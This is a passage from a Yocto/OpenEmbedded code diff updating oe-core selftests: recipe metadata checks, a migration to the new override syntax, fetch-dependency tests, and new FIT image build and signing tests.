+ for fn in tinfoil.all_recipe_files(variants=False):
+ if not '/meta/recipes-' in fn:
+ # We are only interested in OE-Core
+ continue
+ rd = tinfoil.parse_recipe_file(fn, appends=False)
+ pn = rd.getVar('BPN')
+ srcfile = rd.getVar('SRC_URI').split()
+ #Since DESCRIPTION defaults to SUMMARY if not set, we are only interested in recipes without DESCRIPTION or SUMMARY
+ if not (rd.getVar('SUMMARY') or rd.getVar('DESCRIPTION')):
+ no_description.append((pn, fn))
+ if not rd.getVar('HOMEPAGE'):
+ if srcfile and srcfile[0].startswith('file') or not rd.getVar('SRC_URI'):
+ # We are only interested in recipes SRC_URI fetched from external sources
+ continue
+ no_homepage.append((pn, fn))
+ if no_homepage:
+ self.fail("""
+The following recipes do not have a HOMEPAGE. Please add an entry for HOMEPAGE in the recipe.
+""" + "\n".join(['%s (%s)' % i for i in no_homepage]))
+
+ if no_description:
+ self.fail("""
+The following recipes do not have a DESCRIPTION. Please add an entry for DESCRIPTION in the recipe.
+""" + "\n".join(['%s (%s)' % i for i in no_description]))
+
def test_maintainers(self):
"""
Summary: Test that oe-core recipes have a maintainer and entries in maintainers list have a recipe
@@ -57,13 +93,13 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
def is_maintainer_exception(entry):
exceptions = ["musl", "newlib", "linux-yocto", "linux-dummy", "mesa-gl", "libgfortran",
- "cve-update-db-native"]
+ "cve-update-db-native", "rust"]
for i in exceptions:
if i in entry:
return True
return False
- feature = 'require conf/distro/include/maintainers.inc\nLICENSE_FLAGS_WHITELIST += " commercial"\nPARSE_ALL_RECIPES = "1"\n'
+ feature = 'require conf/distro/include/maintainers.inc\nLICENSE_FLAGS_WHITELIST += " commercial"\nPARSE_ALL_RECIPES = "1"\nPACKAGE_CLASSES = "package_ipk package_deb package_rpm"\n'
self.write_config(feature)
with bb.tinfoil.Tinfoil() as tinfoil:
@@ -74,7 +110,7 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
missing_recipes = []
recipes = []
- prefix = "RECIPE_MAINTAINER_pn-"
+ prefix = "RECIPE_MAINTAINER:pn-"
# We could have used all_recipes() here, but this method will find
# every recipe if we ever move to setting RECIPE_MAINTAINER in recipe files
diff --git a/meta/lib/oeqa/selftest/cases/eSDK.py b/meta/lib/oeqa/selftest/cases/eSDK.py
index 862849af35..d0c402ba8a 100644
--- a/meta/lib/oeqa/selftest/cases/eSDK.py
+++ b/meta/lib/oeqa/selftest/cases/eSDK.py
@@ -100,7 +100,7 @@ SSTATE_MIRRORS = "file://.* file://%s/PATH"
@classmethod
def tearDownClass(cls):
for i in range(0, 10):
- if os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'bitbake.lock')):
+ if os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'bitbake.lock')) or os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'cache/hashserv.db-wal')):
time.sleep(1)
else:
break
diff --git a/meta/lib/oeqa/selftest/cases/efibootpartition.py b/meta/lib/oeqa/selftest/cases/efibootpartition.py
index a61cf9bcb3..26de3a07c9 100644
--- a/meta/lib/oeqa/selftest/cases/efibootpartition.py
+++ b/meta/lib/oeqa/selftest/cases/efibootpartition.py
@@ -26,11 +26,11 @@ class GenericEFITest(OESelftestTestCase):
self.write_config(self,
"""
EFI_PROVIDER = "%s"
-IMAGE_FSTYPES_pn-%s_append = " wic"
+IMAGE_FSTYPES:pn-%s:append = " wic"
MACHINE = "%s"
-MACHINE_FEATURES_append = " efi"
+MACHINE_FEATURES:append = " efi"
WKS_FILE = "efi-bootdisk.wks.in"
-IMAGE_INSTALL_append = " grub-efi systemd-boot kernel-image-bzimage"
+IMAGE_INSTALL:append = " grub-efi systemd-boot kernel-image-bzimage"
"""
% (self.efi_provider, self.image, self.machine))
if not self.recipes_built:
diff --git a/meta/lib/oeqa/selftest/cases/fetch.py b/meta/lib/oeqa/selftest/cases/fetch.py
index 76cbadf2ff..be14272e63 100644
--- a/meta/lib/oeqa/selftest/cases/fetch.py
+++ b/meta/lib/oeqa/selftest/cases/fetch.py
@@ -2,6 +2,9 @@
# SPDX-License-Identifier: MIT
#
+import tempfile
+import textwrap
+import bb.tinfoil
import oe.path
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake
@@ -21,8 +24,8 @@ class Fetch(OESelftestTestCase):
# No mirrors, should use git to fetch successfully
features = """
DL_DIR = "%s"
-MIRRORS_forcevariable = ""
-PREMIRRORS_forcevariable = ""
+MIRRORS:forcevariable = ""
+PREMIRRORS:forcevariable = ""
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
@@ -32,8 +35,8 @@ PREMIRRORS_forcevariable = ""
features = """
DL_DIR = "%s"
GIT_PROXY_COMMAND = "false"
-MIRRORS_forcevariable = ""
-PREMIRRORS_forcevariable = ""
+MIRRORS:forcevariable = ""
+PREMIRRORS:forcevariable = ""
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
@@ -44,8 +47,60 @@ PREMIRRORS_forcevariable = ""
features = """
DL_DIR = "%s"
GIT_PROXY_COMMAND = "false"
-MIRRORS_forcevariable = "git://.*/.* http://downloads.yoctoproject.org/mirror/sources/"
+MIRRORS:forcevariable = "git://.*/.* http://downloads.yoctoproject.org/mirror/sources/"
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
bitbake("dbus-wait -c fetch -f")
+
+
+class Dependencies(OESelftestTestCase):
+ def write_recipe(self, content, tempdir):
+ f = os.path.join(tempdir, "test.bb")
+ with open(f, "w") as fd:
+ fd.write(content)
+ return f
+
+ def test_dependencies(self):
+ """
+ Verify that the correct dependencies are generated for specific SRC_URI entries.
+ """
+
+ with bb.tinfoil.Tinfoil() as tinfoil, tempfile.TemporaryDirectory(prefix="selftest-fetch") as tempdir:
+ tinfoil.prepare(config_only=False, quiet=2)
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="http://example.com/tarball.zip"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("unzip-native", d.getVarFlag("do_unpack", "depends"))
+
+ # Verify that the downloadfilename overrides the URI
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="https://example.com/tarball;downloadfilename=something.zip"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("unzip-native", d.getVarFlag("do_unpack", "depends") or "")
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="ftp://example.com/tarball.lz"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("lzip-native", d.getVarFlag("do_unpack", "depends"))
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="git://example.com/repo;branch=master"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("git-native", d.getVarFlag("do_fetch", "depends"))
diff --git a/meta/lib/oeqa/selftest/cases/fitimage.py b/meta/lib/oeqa/selftest/cases/fitimage.py
new file mode 100644
index 0000000000..f6f6a8e795
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/fitimage.py
@@ -0,0 +1,840 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, runqemu
+import os
+import json
+import re
+
+class FitImageTests(OESelftestTestCase):
+
+ def test_fit_image(self):
+ """
+ Summary: Check if FIT image and Image Tree Source (its) are built
+ and the Image Tree Source has the correct fields.
+ Expected: 1. fitImage and fitImage-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of kernel and ramdisk are as expected
+ in the Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between different
+ architectures.
+ Product: oe-core
+ Author: Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# Enable creation of fitImage
+KERNEL_IMAGETYPE = "Image"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage "
+
+# RAM disk variables including load address and entrypoint for kernel and RAM disk
+IMAGE_FSTYPES += "cpio.gz"
+INITRAMFS_IMAGE = "core-image-minimal"
+UBOOT_RD_LOADADDRESS = "0x88000000"
+UBOOT_RD_ENTRYPOINT = "0x88000000"
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+FIT_DESC = "A model description"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "fitImage-its-%s-%s-%s" % (image_type, machine, machine))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "fitImage-%s-%s-%s" % (image_type, machine, machine))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "kernel";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'type = "ramdisk";',
+ 'load = <0x88000000>;',
+ 'entry = <0x88000000>;',
+ 'default = "conf-1";',
+ 'kernel = "kernel-1";',
+ 'ramdisk = "ramdisk-1";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+
+ def test_sign_fit_image(self):
+ """
+ Summary: Check if FIT image and Image Tree Source (its) are created
+ and signed correctly.
+ Expected: 1) its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by UBOOT_SIGN_ENABLE (using keys generated
+ via FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present (including for images as enabled via
+ FIT_SIGN_INDIVIDUAL)
+ 4) Examination of the do_assemble_fitimage runfile/logfile
+ indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN and
+ UBOOT_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Paul Eggleton <paul.eggleton@microsoft.com> based upon
+ work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# Enable creation of fitImage
+MACHINE = "beaglebone-yocto"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart comment'"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "fitImage-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "fitImage-%s.bin" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'kernel-1'],
+ ['/', 'images', 'kernel-1', 'signature-1'],
+ ['/', 'images', 'fdt-am335x-boneblack.dtb'],
+ ['/', 'images', 'fdt-am335x-boneblack.dtb', 'signature-1'],
+ ['/', 'configurations', 'conf-am335x-boneblack.dtb'],
+ ['/', 'configurations', 'conf-am335x-boneblack.dtb', 'signature-1'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature-1':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"img-oe-selftest"',
+ }
+ reqsigvalues_config = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"cfg-oe-selftest"',
+ 'sign-images': '"kernel", "fdt"',
+ }
+
+ for itspath, values in sigs.items():
+ if 'conf-' in itspath:
+ reqsigvalues = reqsigvalues_config
+ else:
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Configuration', ' Image')):
+ in_signed = re.search('\((.*)\)', line).groups()[0]
+ elif re.match('^ *', line) in (' ', ''):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('kernel-1', signed_sections)
+ self.assertIn('fdt-am335x-boneblack.dtb', signed_sections)
+ self.assertIn('conf-am335x-boneblack.dtb', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ if signed_section.startswith("conf"):
+ self.assertEqual(value, 'sha256,rsa2048:cfg-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ else:
+ self.assertEqual(value, 'sha256,rsa2048:img-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for UBOOT_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/kernel | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart comment" %s/run.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+ def test_uboot_fit_image(self):
+ """
+ Summary: Check if Uboot FIT image and Image Tree Source
+ (its) are built and the Image Tree Source has the
+ correct fields.
+ Expected: 1. u-boot-fitImage and u-boot-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of U-boot image are correct in the
+ Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between
+ different architectures.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com>
+ based on work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# We need at least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+
+# Enable creation of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+
+# (U-boot) fitImage properties
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+UBOOT_FIT_DESC = "A model description"
+
+# Enable creation of Kernel fitImage
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage"
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "standalone";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'default = "conf";',
+ 'loadables = "uboot";',
+ 'fdt = "fdt";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+ def test_uboot_sign_fit_image(self):
+ """
+ Summary: Check if Uboot FIT image and Image Tree Source
+ (its) are built and the Image Tree Source has the
+ correct fields, in the scenario where the Kernel
+ is also creating/signing it's fitImage.
+ Expected: 1. u-boot-fitImage and u-boot-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of U-boot image are correct in the
+ Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between
+ different architectures.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com>
+ based on work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# We need at least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+
+# Enable creation of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+
+# (U-boot) fitImage properties
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+UBOOT_FIT_DESC = "A model description"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart U-Boot comment'"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "standalone";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'default = "conf";',
+ 'loadables = "uboot";',
+ 'fdt = "fdt";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+
+ def test_sign_standalone_uboot_fit_image(self):
+ """
+ Summary: Check if U-Boot FIT image and Image Tree Source (its) are
+ created and signed correctly for the scenario where only
+ the U-Boot proper fitImage is being created and signed.
+ Expected: 1) U-Boot its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by SPL_SIGN_ENABLE (using keys generated
+ via UBOOT_FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present
+ 4) Examination of the do_uboot_assemble_fitimage
+ runfile/logfile indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN
+ and SPL_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com> based upon
+ work by Paul Eggleton <paul.eggleton@microsoft.com> and
+ Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# There's no U-boot deconfig with CONFIG_FIT_SIGNATURE yet, so we need at
+# least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+# The kernel-fitimage class is a dependency even if we're only
+# creating/signing the U-Boot fitImage
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+# Enable creation and signing of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+SPL_SIGN_ENABLE = "1"
+SPL_SIGN_KEYNAME = "spl-oe-selftest"
+SPL_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+SPL_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+SPL_MKIMAGE_SIGN_ARGS = "-c 'a smart U-Boot comment'"
+UBOOT_EXTLINUX = "0"
+UBOOT_FIT_GENERATE_KEYS = "1"
+UBOOT_FIT_HASH_ALG = "sha256"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'uboot'],
+ ['/', 'images', 'uboot', 'signature'],
+ ['/', 'images', 'fdt'],
+ ['/', 'images', 'fdt', 'signature'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"spl-oe-selftest"',
+ }
+
+ for itspath, values in sigs.items():
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Image')):
+ in_signed = re.search('\((.*)\)', line).groups()[0]
+ elif re.match(' \w', line):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('uboot', signed_sections)
+ self.assertIn('fdt', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ self.assertEqual(value, 'sha256,rsa2048:spl-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for SPL_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/kernel | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart U-Boot comment" %s/run.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'SPL_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+ def test_sign_cascaded_uboot_fit_image(self):
+ """
+ Summary: Check if U-Boot FIT image and Image Tree Source (its) are
+ created and signed correctly for the scenario where both
+ U-Boot proper and Kernel fitImages are being created and
+ signed.
+ Expected: 1) U-Boot its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by SPL_SIGN_ENABLE (using keys generated
+ via UBOOT_FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present
+ 4) Examination of the do_uboot_assemble_fitimage
+ runfile/logfile indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN
+ and SPL_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com> based upon
+ work by Paul Eggleton <paul.eggleton@microsoft.com> and
+ Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# There's no U-boot deconfig with CONFIG_FIT_SIGNATURE yet, so we need at
+# least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
